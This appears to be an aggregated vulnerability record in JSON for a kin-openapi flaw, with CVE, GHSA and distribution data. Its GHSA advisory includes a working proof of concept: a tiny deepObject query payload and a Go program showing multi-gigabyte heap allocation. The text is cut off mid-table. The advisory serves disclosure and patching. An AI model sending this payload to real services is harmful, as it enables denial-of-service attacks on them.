{"id":"CVE-2026-77354","aliases":["DEBIAN-CVE-2026-77354","EUVD-2026-64151","GHSA-xhj3-7xw9-vr34","GO-2026-6275","ROOT-APP-GOBINARY-CVE-2026-77354","SUSE-SU-2026:23625-1","UBUNTU-CVE-2026-77354","openSUSE-SU-2026:21761-1"],"status":"published","title":"kin-openapi: Uncontrolled resource consumption in openapi3filter deepObject query parameter decoding","description":"kin-openapi is a Go project for handling OpenAPI files. From 0.124.0 until 0.142.0, openapi3filter.sliceMapToSlice in openapi3filter/req_resp_decoder.go converts attacker-controlled sparse indexes from a deepObject query parameter into a dense slice by allocating entries from zero through the largest supplied index, after which buildResObj creates another slice of the same length. This allocation occurs before schema validation, so maxItems does not prevent it. An unauthenticated client can send a small query such as param[items][50000000]=x to an endpoint whose deepObject schema contains an array, forcing multi-gigabyte heap allocation and causing an OOM kill or restart loop. Other request-body encodings and styled parameters that do not produce bracketed integer indexes are not affected. This issue is fixed in version 0.142.0.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00524,"percentile":0.44925,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400","CWE-789"],"published":"2026-08-21T20:44:47Z","modified":"2026-11-06T17:15:03Z","fixes":[{"ecosystem":"Go","package":"github.com/getkin/kin-openapi","fixed_in":["0.142.0"],"sources":["ghsa","osv"]},{"ecosystem":"Root:Go","package":"github.com/getkin/kin-openapi","fixed_in":["v0.140.0-aikido.1","v0.140.0-aikido.2","v0.140.0-aikido.3"],"sources":["osv"]},{"ecosystem":"Root:Go","package":"rootio-github.com/getkin/kin-openapi","fixed_in":["v0.140.0-root.io.1","v0.140.0-root.io.2","v0.140.0-root.io.3"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/getkin/kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.124.0"},{"fixed":"0.142.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.110.0-1","0.117.0-1","0.118.0-1","0.120.0-1","0.122.0-1","0.122.0-2","0.122.0-3","0.123.0-1","0.124.0-1","0.135.0-1"]},{"source":"osv","ecosystem":"Debian:13","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.124.0-1","0.135.0-1"]},{"source":"osv","ecosystem":"Debian:14","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.124.0-1","0.135.0-1"]},{"source":"osv","ecosystem":"Go","package":"github.com/getkin/kin-openapi","ranges":[{"type":"SEMVER","events":[{"introduced":"0.124.0"},{"fixed":"0.142.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/getkin/kin-openapi","ranges":[{"type":"SEMVER","events":[{"introduced":"0.124.0"},{"fixed":"0.142.0"}]}]},{"source":"osv","ecosystem":"Root:Go","package":"github.com/getkin/kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v0.140.0-aikido.1"},{"fixed":"v0.140.0-aikido.2"},{"fixed":"v0.140.0-aikido.3"}]}]},{"source":"osv","ecosystem":"Root:Go","package":"rootio-github.com/getkin/kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"v0.140.0-root.io.1"},{"fixed":"v0.140.0-root.io.2"},{"fixed":"v0.140.0-root.io.3"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.32.0-2","0.80.0-1","0.85.0-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.117.0-1","0.120.0-1","0.122.0-3","0.123.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.124.0-1","0.135.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"golang-github-getkin-kin-openapi","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.124.0-1"]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181}],"products":[{"vendor":"getkin","product":"kin-openapi"}],"references":[{"url":"https://github.com/getkin/kin-openapi/security/advisories/GHSA-xhj3-7xw9-vr34","tags":["x_refsource_CONFIRM","advisory","web","report"]},{"url":"https://github.com/getkin/kin-openapi/pull/923","tags":["x_refsource_MISC","fix","report"]},{"url":"https://github.com/getkin/kin-openapi/commit/1223a0f215d2cf9beb2d9eb9ea2649d001c21388","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/getkin/kin-openapi/releases/tag/v0.142.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-xhj3-7xw9-vr34"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/77xxx/CVE-2026-77354.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77354","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-77354","tags":["advisory"]},{"url":"https://github.com/getkin/kin-openapi","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623625-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-10722","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11465","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11481","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-17106","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25688","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25699","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25700","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34031","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34033","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34177","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-3433","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34976","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35172","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35511","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39833","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39904","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40173","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42350","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42508","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-43983","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45099","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45404","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46603","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-47427","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48119","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48491","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48786","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49446","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49980","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50567","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50569","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50570","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50879","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50884","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50891","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52856","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52857","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53469","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53470","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53471","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53474","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53475","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53476","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53551","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53622","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53657","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53658","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-53941","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54061","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54162","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54167","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54168","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54245","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54332","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54345","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54523","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54526","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54563","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54572","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54593","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54638","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54650","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54680","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54693","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54719","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54725","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54735","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54763","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54764","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54765","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54787","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54908","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54909","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54910","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54917","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55061","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55062","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55092","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55149","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55477","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55496","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55580","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55581","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-55677","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56852","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56853","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56858","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56860","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56862","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56864","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56867","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56869","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56870","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56871","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56872","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56873","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56874","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57210","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59732","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59733","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6046","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61711","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61712","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62323","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-63328","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64679","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64863","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64866","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65601","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65835","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66063","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66064","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6689","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6739","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67437","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67438","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67439","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67448","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6961","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71310","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71311","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71312","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71313","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71324","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71326","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71556","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71557","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7184","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73080","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73505","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73506","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73509","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73564","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7387","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-77354","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-77354","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-77354","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-77354","title":"kin-openapi: Uncontrolled resource consumption in openapi3filter deepObject query parameter decoding","description":"kin-openapi is a Go project for handling OpenAPI files. From 0.124.0 until 0.142.0, openapi3filter.sliceMapToSlice in openapi3filter/req_resp_decoder.go converts attacker-controlled sparse indexes from a deepObject query parameter into a dense slice by allocating entries from zero through the largest supplied index, after which buildResObj creates another slice of the same length. This allocation occurs before schema validation, so maxItems does not prevent it. An unauthenticated client can send a small query such as param[items][50000000]=x to an endpoint whose deepObject schema contains an array, forcing multi-gigabyte heap allocation and causing an OOM kill or restart loop. Other request-body encodings and styled parameters that do not produce bracketed integer indexes are not affected. This issue is fixed in version 0.142.0.","status":"published","published":"2026-08-21T20:44:47.792Z","modified":"2026-08-25T19:15:23.235Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-400","CWE-789"],"updated_at":"2026-11-02T14:20:15.712761Z"}],"euvd":[{"id":"EUVD-2026-64151","description":"kin-openapi is a Go project for handling OpenAPI files. From 0.124.0 until 0.142.0, openapi3filter.sliceMapToSlice in openapi3filter/req_resp_decoder.go converts attacker-controlled sparse indexes from a deepObject query parameter into a dense slice by allocating entries from zero through the largest supplied index, after which buildResObj creates another slice of the same length. This allocation occurs before schema validation, so maxItems does not prevent it. An unauthenticated client can send a small query such as param[items][50000000]=x to an endpoint whose deepObject schema contains an array, forcing multi-gigabyte heap allocation and causing an OOM kill or restart loop. Other request-body encodings and styled parameters that do not produce bracketed integer indexes are not affected. This issue is fixed in version 0.142.0.","status":"published","published":"2026-08-21T20:44:47Z","modified":"2026-08-25T19:15:23Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T18:01:32.174502Z"}],"ghsa":[{"id":"GHSA-xhj3-7xw9-vr34","title":"kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding","description":"### Summary\n\nAn uncontrolled resource consumption vulnerability in `openapi3filter` lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a `deepObject`-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the **largest attacker-supplied index** and allocating one slot for every position from `0` up to that index — *before* schema validation (including `maxItems`) ever runs. A request as small as 24 bytes (`?param[items][50000000]=x`) drives heap allocation to **~6.1 GiB**, reliably triggering an OOM kill / restart loop on memory-constrained services.\n\n### Details\n\nThe OpenAPI `style: deepObject` serialization lets clients express arrays in the query string using bracket notation, e.g. `param[items][0]=a\u0026param[items][1]=b`. The decoder first collects these into an intermediate `map[string]any` keyed by the string of the index, then converts that sparse map into a real `[]any` in [`sliceMapToSlice`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L936):\n\n```go\n// req_resp_decoder.go (vulnerable version)\nfunc sliceMapToSlice(m map[string]any) ([]any, error) {\n\tvar result []any\n\tkeys := make([]int, 0, len(m))\n\tfor k := range m {\n\t\tkey, err := strconv.Atoi(k) // \"50000000\" -\u003e 50000000, attacker-controlled\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"array indexes must be integers: %w\", err)\n\t\t}\n\t\tkeys = append(keys, key)\n\t}\n\tmax := -1\n\tfor _, k := range keys {\n\t\tif k \u003e max {\n\t\t\tmax = k // max = attacker's index, unbounded\n\t\t}\n\t}\n\tfor i := 0; i \u003c= max; i++ { // \u003c-- unbounded loop, 0 .. max\n\t\tval, ok := m[strconv.Itoa(i)]\n\t\tif !ok {\n\t\t\tresult = append(result, nil) // fills every sparse hole with nil\n\t\t\tcontinue\n\t\t}\n\t\tresult = append(result, val)\n\t}\n\treturn result, nil\n}\n```\n\nA second, equally-sized allocation follows immediately in [`buildResObj`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L986):\n\n```go\nresultArr := make([]any /*not 0,*/, len(arr)) // second allocation, size = max+1\nfor i := range arr {\n\tr, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items)\n\t...\n}\n```\n\nSo a single attacker-chosen integer `N` produces an `append`-grown `[]any` of length `N+1`, a second `make([]any, N+1)`, and `N+1` recursion steps — with **no upper bound** other than `strconv.Atoi`'s `int` range (~9.2×10¹⁸ on 64-bit) and available memory.\n\n**Why `maxItems` does not help.** `maxItems` is enforced by schema *validation*, which runs strictly after parameter *decoding* completes. `sliceMapToSlice`/`buildResObj` fully materialize the oversized array first; validation only inspects — and rejects — the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the `maxItems` violation, proving the allocation happened before it could be prevented.\n\n**Why this is deepObject-specific.** Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: `application/json` bodies build arrays element-by-element from the literal (no \"index\" concept to inflate); `x-www-form-urlencoded` and `multipart/form-data` arrays are sized by the number of repeated fields actually sent; and the other `makeObject` call sites (path/`simple`, header/`simple`, cookie/`form`, at [`:479`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L479), [`:777`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L777), [`:841`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L841)) build their intermediate map via `propsFromString`, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject `propsFn` ([`:661-687`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L661)) synthesizes the bracketed integer keys that reach `sliceMapToSlice` with an attacker-controlled magnitude.\n\n**Preconditions.** The target spec needs a query parameter with `in: query`, `style: deepObject` (typically `explode: true`), and a schema whose graph contains at least one `type: array`. This is an entirely normal, author-written spec — it is exactly the pattern the library's own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any `maxItems` constraint on the array.\n\n**Introduced in.** `sliceMapToSlice`, including the unbounded `0..max` fill loop, was added whole-cloth in commit [`78bb273`](https://github.com/getkin/kin-openapi/commit/78bb273e5892da3b0c8fc31857499449adfaba6c) (\"openapi3filter: deepObject array of objects and array of arrays support (#923)\", merged 2024-03-22), which first shipped in **`v0.124.0`**. Every tagged release from `v0.124.0` through the current `v0.141.0` / `master` (`1d0a337`) contains the vulnerable code path.\n\n### PoC\n\nVerified against revision `1d0a337c9b1570fab283be8a04c8af6e43b9a22c` (`v0.141.0`, current `master` at the time of writing), Go 1.25.0, `darwin/arm64`.\n\n**1. Spec** — one operation accepting a `deepObject` query parameter whose `items` property is an array (`maxItems: 3` is declared deliberately, to prove it does not help):\n\n```yaml\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n /q:\n get:\n parameters:\n - name: param\n in: query\n style: deepObject\n explode: true\n schema:\n type: object\n properties:\n items:\n type: array\n maxItems: 3\n items: {type: string}\n responses:\n '200': {description: ok}\n```\n\n**2. Program** — build a request with a single huge array index and measure heap allocation across the same public entry point (`gorillamux` router → `openapi3filter.ValidateRequest`) any real HTTP server uses:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"runtime\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: '3.0.3'\ninfo: {title: t, version: '1.0.0'}\npaths:\n /q:\n get:\n parameters:\n - name: param\n in: query\n style: deepObject\n explode: true\n schema:\n type: object\n properties:\n items:\n type: array\n maxItems: 3\n items: {type: string}\n responses:\n '200': {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, _ := loader.LoadFromData([]byte(spec))\n\t_ = doc.Validate(loader.Context)\n\trouter, _ := gorillamux.NewRouter(doc)\n\n\t// Attacker-controlled index. A 24-byte query string is enough to force\n\t// materialization of a 50-million-element slice.\n\tconst rawQuery = \"param[items][50000000]=x\"\n\n\tr, _ := http.NewRequest(http.MethodGet, \"/q?\"+rawQuery, nil)\n\troute, pp, _ := router.FindRoute(r)\n\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\n\terr := openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\tRequest: r, PathParams: pp, Route: route,\n\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t})\n\n\truntime.ReadMemStats(\u0026after)\n\n\tfmt.Printf(\"query string: %q (%d bytes)\\n\", rawQuery, len(rawQuery))\n\tfmt.Printf(\"heap allocated during ValidateRequest: %.1f MiB\\n\", float64(after.TotalAlloc-before.TotalAlloc)/(1\u003c\u003c20))\n\tfmt.Printf(\"ValidateRequest error: %v\\n\", err)\n}\n```\n\n**3. Observed output** (`go run .`, unpatched tree, re-verified in this pass):\n\n```\nquery string: \"param[items][50000000]=x\" (24 bytes)\nheap allocated during ValidateRequest: 6231.1 MiB\nValidateRequest error: parameter \"param\" in query has an error: Error at \"/items\": maximum number of items is 3\n```\n\nA **24-byte query string drove ~6.1 GiB of heap allocation** in a single call, and the returned error is the `maxItems` rejection — proof that the array was fully materialized *before* validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision):\n\n| Query string | Wire size | Heap allocated | Amplification |\n|---|---|---|---|\n| `param[items][10000]=x` | 21 B | 0.9 MiB | ~44,000× |\n| `param[items][100000]=x` | 22 B | 11.1 MiB | ~529,000× |\n| `param[items][1000000]=x` | 23 B | 114 MiB | ~5,200,000× |\n| `param[items][5000000]=x` | 23 